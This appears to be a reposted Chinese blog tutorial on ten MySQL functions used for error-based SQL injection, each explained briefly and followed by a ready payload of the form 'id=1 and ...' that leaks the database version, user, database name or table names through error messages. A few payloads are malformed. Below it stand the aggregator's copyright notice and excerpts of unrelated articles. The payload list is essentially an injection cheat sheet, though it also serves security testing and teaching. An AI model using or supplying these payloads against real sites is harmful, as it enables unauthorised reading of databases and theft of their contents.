mysql十大報錯_MySQL十大報錯函數

1.Floor()

round() 遵循四舍五入把原值轉化為指定小數位數,如:round(1.45,0) = 1;round(1.55,0)=2

floor()向下舍入為指定小數位數 如:floor(1.45,0)= 1;floor(1.55,0) = 1

ceiling()向上舍入為指定小數位數 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2

floor(x),返回小于或等于x的最大整數。

x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產生0-1之間的隨機數,*2產生0-2之間的隨機數。

報錯原因:主鍵重復,必需:count()、rand()、group by

payload:

id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue()

ExtractValue(xml_frag, xpath_expr)ExtractValue()接受兩個字符串參數,一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文本節點的text(),該節點是XPath表達式匹配的元素的子元素。

第一個參數可以傳入目標xml文檔,第二個參數是用Xpath路徑法表示的查找路徑

例如:SELECT ExtractValue(‘‘, ‘/a/b‘); 就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。

payload:

id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));

3.UpdateXml()

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。

第三個參數:new_value,String格式,替換查找到的符合條件的數據

而我們的注入語句為:

id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))

其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出

ERROR 1105 (HY000): XPATH syntax error: ':[email?protected]'

4.Exp()

exp是以e為底的指數函數,

mysql> select exp(1);

+-------------------+

| exp(1) |

+-------------------+

| 2.718281828459045 |

+-------------------+

1 row in set (0.00 sec)

但是,由于數字太大是會產生溢出。這個函數會在參數大于709時溢出,報錯。

mysql> select exp(709);

+-----------------------+

| exp(709) |

+-----------------------+

| 8.218407461554972e307 |

+-----------------------+

1 row in set (0.00 sec)

mysql> select exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

將0按位取反就會返回“18446744073709551615”,再加上函數成功執行后返回0的緣故,我們將成功執行的函數取反就會得到最大的無符號BIGINT值。

mysql> select ~0;

+----------------------+

| ~0 |

+----------------------+

| 18446744073709551615 |

+----------------------+

1 row in set (0.00 sec)

mysql> select ~(select version());

+----------------------+

| ~(select version()) |

+----------------------+

| 18446744073709551610 |

+----------------------+

1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,并借由此注出數據。

mysql> select exp(~(select * from(select database())x));

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在腳本語言中,就會將錯誤中的一些表達式轉化成相應的字符串,即像這樣:

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

從而實現了報錯注入。

payload:

id=1 and exp(~(select * from(select user())a));

5.GeometryCollection()

GeometryCollection的理解:以點的方式存放 ,如果單個點直接用 坐標(x,y)表示,如果是線的話是多個點使用 LINESTRING()來保存這條線上的點。

payload:

id=1 and GeometryCollection(()select *from(select user())a)b);

6.Polygon()

Polygon該函數畫一個由直線相聞的兩個以上頂點組成的多邊形,用當前畫筆畫多邊形輪廓,用當前畫刷和多邊形填充模式填充多邊形。

9c2833ba22d5e6dcd7b46114a2fb1d59.gif

如圖中所示:

圖 1 是由外部環定義其邊界的 Polygon 實例。

圖 2 是由外部環和兩個內部環定義其邊界的 Polygon 實例。 內部環內的面積是 Polygon 實例的外部環的一部分。

圖 3 是一個有效的 Polygon 實例,因為其內部環在單個切點處相交。

payload:

id =1 and polygon((select * from(select * from(select user())a)b));

此注入點可以理解為limit后的注入點

7.MultiPoint

MultiPoint 是零個點或更多個點的集合。 MultiPoint 實例的邊界為空。

payload:

id = 1 and multipoint((select * from(select * from(select user())a)b));

8.MultiLineString()

MultiLineString 是零個或多個 geometry 或 geographyLineString 實例的集合。

99b718d483d44827ffb374007326d4c9.gif

如圖中所示:

圖 1 顯示的是一個簡單的 MultiLineString 實例,其邊界是其兩個 LineString 元素的四個端點。

圖 2 顯示的是一個簡單的 MultiLineString 實例,因為只有 LineString 元素的端點相交。 邊界是兩個不重疊的端點。

圖 3 顯示的是一個不簡單的 MultiLineString 實例,因為它的其中一個 LineString 元素的內部出現了相交。 此 MultiLineString實例的邊界是四個端點。

圖 4 顯示的是一個不簡單、非閉合的 MultiLineString 實例。

圖 5 顯示的是一個簡單、非閉合的 MultiLineString。 它沒有閉合是因為它的 LineStrings 元素沒有閉合。 而其簡單的原因在于,其任何 LineStrings 實例的內部都沒有出現相交。

圖 6 顯示的是一個簡單、閉合的 MultiLineString 實例。 它為閉合的是因為它的所有元素都是閉合的。 而其簡單的原因在于,其所有元素都沒有出現內部相交現象。

payload:

id = 1 and multilinestring((select * from(select * from(select user())a)b));

9.LineString

LineString 是一個一維對象,表示一系列點和連接這些點的線段。

f700f314ae68ce90aa44bb3b1f6cf76c.gif

如圖中所示:

圖 1 顯示的是一個簡單、非閉合的 LineString 實例。

圖 2 顯示的是一個不簡單、非閉合的 LineString 實例。

圖 3 顯示的是一個閉合、簡單的 LineString 實例,因此是一個環。

圖 4 顯示的是一個閉合、不簡單的 LineString 實例,因此不是一個環。

payload:

id = 1 and LINESTRING((select * from(select * from(select user())a)b));

10.MultiPolygon()

MultiPolygon實例是零個或更多個Polygon實例的集合。

2ea72be9928eae81bd072f2f756680f8.gif

如圖中所示:

圖 1 是一個包含兩個 Polygon 元素的 MultiPolygon 實例。 邊界由兩個外環和三個內環界定。

圖 2 是一個包含兩個 MultiPolygon 元素的 Polygon 實例。 邊界由兩個外環和三個內環界定。 這兩個 Polygon 元素在切點處相交。

原文:https://www.cnblogs.com/zztac/p/11441292.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/376143.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/376143.shtml
英文地址,請注明出處:http://en.pswp.cn/news/376143.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

.NET Framework 4 不能先解壓再使用setup.exe安裝的解決方法

微軟.NET Framework離線安裝包有時無法做到斷網離線安裝,仍然需要下載某些文件后才能繼續安裝,速度慢不說,安裝前還必須要聯網。 這時就可以自己用7z什么的解壓微軟的安裝包,然后收集整合要下載的文件后,就可以通過解壓…

密碼強度正則

6位數字字母特殊字符 |6位數字、字母、特殊字符兩兩組合 | 6位 var threeRegex new RegExp("^(?.{6,})(?.*[a-zA-Z])(?.*[0-9])(?.*\\W).*$", "g"); var twoRegex new RegExp("^(?.{6,})(((?.*[a-zA-Z])(?.*\\W))|((?.*[0-9])(?.*\\W))|((…

laravel mysql 隊列_Laravel 隊列使用

Laravel 隊列使用1.修改根目錄.env文件的 **QUEUE_CONNECTION **字段配置為 databaseLaravel可配置多種隊列驅動,包括 "sync", "database", "beanstalkd", "sqs", "redis", "null"(具體參見app/config…

高手速成android開源項目【項目篇】

主要介紹那些Android還不錯的完整項目,目前包含的項目主要依據是項目有意思或項目分層規范比較好。Linux項目地址:https://github.com/torvalds/linuxAndroid項目地址:https://android.googlesource.com/或https://github.com/android以上兩個…

Swift基礎語法: 30 - Swift的基類, 子類, 重寫, 重寫方法, 重寫屬性, 防止重寫

前面我們講了有關于腳本語法的基本認識以及使用, 現在讓我們來看看Swift的其他東西: 1.基類 所謂的基類, 就是OC中的父類, 不繼承任何類, 就叫做基類, 讓我們來看看例子: class Vehicle {var currentSpeed 0.0var description: String {return "traveling at \(currentSp…

機器學習1k近鄰

自己一直學習計算機視覺方面的東西,現在想學習一下數據挖掘跟搜索引擎,自己基礎也有點薄弱,看朱明的那本數據挖掘,只能片面的了解這個數據挖掘。不過最近有一本書 機器學習實戰,于是乎通過實戰的形式了解一下基本的算法…

mysql服務器的線程數查看方法_MySQL服務器線程數的查看方法詳解

本文實例講述了MySQL服務器線程數的查看方法。,具體如下:mysql重啟命令:/etc/init.d/mysql restartMySQL服務器的線程數需要在一個合理的范圍之內,這樣才能保證MySQL服務器健康平穩地運行。Threads_created表示創建過的線程數&…

[No000003]現代版三十六計,計計教你如何做人

《現代版三十六計,計計教你如何做人》 …………………………………………………………………………………… 第1計施恩計 在人際交往中,見到給人幫忙的機會,要立馬撲上去,像一只饑餓的松鼠撲向地球上的最后一粒松籽. 因為人情就是財富,人際關系一個最基本的目的就是結人情,有人…

mysql 重置root密碼 遠程訪問_重置mysql的root密碼以及設置mysql遠程登陸權限

root密碼忘記,重置mysql的root密碼:t一、修改mysql的配置文件my.cnf1.在[mysqld]的段中加上一句:skip-grant-tables[mysqld]datadir/var/lib/mysqlsocket/var/lib/mysql/mysql.sockskip-name-resolveskip-grant-tables保存并且退出vi。(或執行…

C#中枚舉類型和int類型的轉化

先定義一個枚舉類型 public enum PropertyType { 小學 0, 初中, 高中&#xff0c;大學 }; int ->enum int d2; PropertyType a(PropertyType)d; int <- enum PropertyType d PropertyType.小學; int a Convert.ToInt32(d); Enum類有關的方法 E…

vagrant使用centos的環境安裝..

vagrant這貨挺好用的..簡要就是, 下好virtualbox, vagrant, 然后下個你需要的box. 然后vagrant box add boxname boxpath就行. 然后在合適的地方vagrant init就能創建好虛擬機, 然后vagrant up是開啟, vagrant ssh是通過ssh連接過去, 可以裝一個zsh , 配置oh my zsh啥的, 然后安…

linux mysql odbc驅動安裝_MySQL ODBC 驅動安裝

閱讀目錄一、在線安裝1、yum在線安裝驅動2、配置驅動3、測試連接二、編譯安裝1、MySQL創建測試用戶和測試庫2、安裝驅動3、配置驅動4、測試一、在線安裝1、yum在線安裝驅動# yum -y installunixODBC#yum -y install mysql-connector-odbc2、配置驅動(1)查看驅動程序相關信息# c…

通過 HTTPS 和 SSL 確保 Windows Azure 網站 (WAWS) 安全

編輯人員注釋&#xff1a;本文章由 Windows Azure 網站團隊的項目經理 Erez Benari 撰寫。 隨著身份盜竊和各種形式的網絡犯罪迅速增多&#xff0c;使用安全套接字層 (SSL) 對網站進行保護變得越來越重要和普遍。如果將網站托管在 Windows Azure 網站 (WAWS) 上&#xff0c;您可…

mysql之多表查詢

今天在項目中遇到一個數據庫查詢的問題&#xff1a;三張表分別放置不同的東西&#xff1a;分享的音頻相關數據、分享的文字圖片說說、分享的主題相關數據。所有分享的東西都可看做新鮮事&#xff0c;現在要求從這三張表將相同的幾個字段的數據全部查找出來按照發布時間先后排序…

設立SharePoint2010列表的項目級權限

設置SharePoint2010列表的項目級權限 在SharePoint2010中我們經常會用到這樣的權限設置&#xff0c;在一個列表中可以存儲多個人輸入的數據&#xff0c;但每個人只能看到自己的那部分數據。也就是多個人共同維護一個列表&#xff0c;但各自只能查看、編輯、刪除自己錄入的那部分…

MySQL優化filler值_MySQL 性能優化神器 Explain 使用分析

簡介MySQL 提供了一個 EXPLAIN 命令, 它可以對 SELECT 語句進行分析, 并輸出 SELECT 執行的詳細信息, 以供開發人員針對性優化.EXPLAIN 命令用法十分簡單, 在 SELECT 語句前加上 Explain 就可以了, 例如:EXPLAIN SELECT * from user_info WHERE id < 300;準備為了接下來方便…

Codeforces Round #224 (Div. 2)

題目&#xff1a;http://codeforces.com/contest/382 A Ksenia and Pan Scales 一個求天平是否能夠平衡的題目。。。水題,注意一下結果的輸出就行。 1 #include <iostream>2 #include <cstdio>3 #include <cstring>4 #include <cstdlib>5 #include <…

二叉樹第i層中的所有結點_講透學爛二叉樹(二):圖中樹的定義amp;各類型樹的特征分析...

日常中我們見到的二叉樹應用有&#xff0c;Java集合中的TreeSet和TreeMap&#xff0c;C STL中的set、map&#xff0c;以及Linux虛擬內存的管理&#xff0c;以及B-Tree&#xff0c;B-Tree在文件系統&#xff0c;都是通過紅黑樹去實現的。雖然之前寫過《再談堆排序&#xff1a;堆…

node-webkit 開發環境搭建

node-webkit支持的操作系統類型&#xff1a; Linunx:32bit / 64bitWindows: win32Mac:32bit,10.7 開發環境 1&#xff0c;根據自己的操作系統下載響應的nw二進制文件&#xff0c;下載地址&#xff1a;https://github.com/rogerwang/node-webkit 2,建立基本開發目錄&#xff0c;…

mysql sqlsugar_.net core +mysqlSugar(最為簡單的增刪改查)

首先建立.net Core API - empty 這個就不說了然后創建新的Controller記得添加路由[Route("api/Users")]然后在Nuget Packages安裝 所需安裝包這里是用mysql所以下載如下的mysqlSugarCore(切記不要忘記安裝Mysql.Data)創建實例化class文件DbText.cs用于連接數據庫&…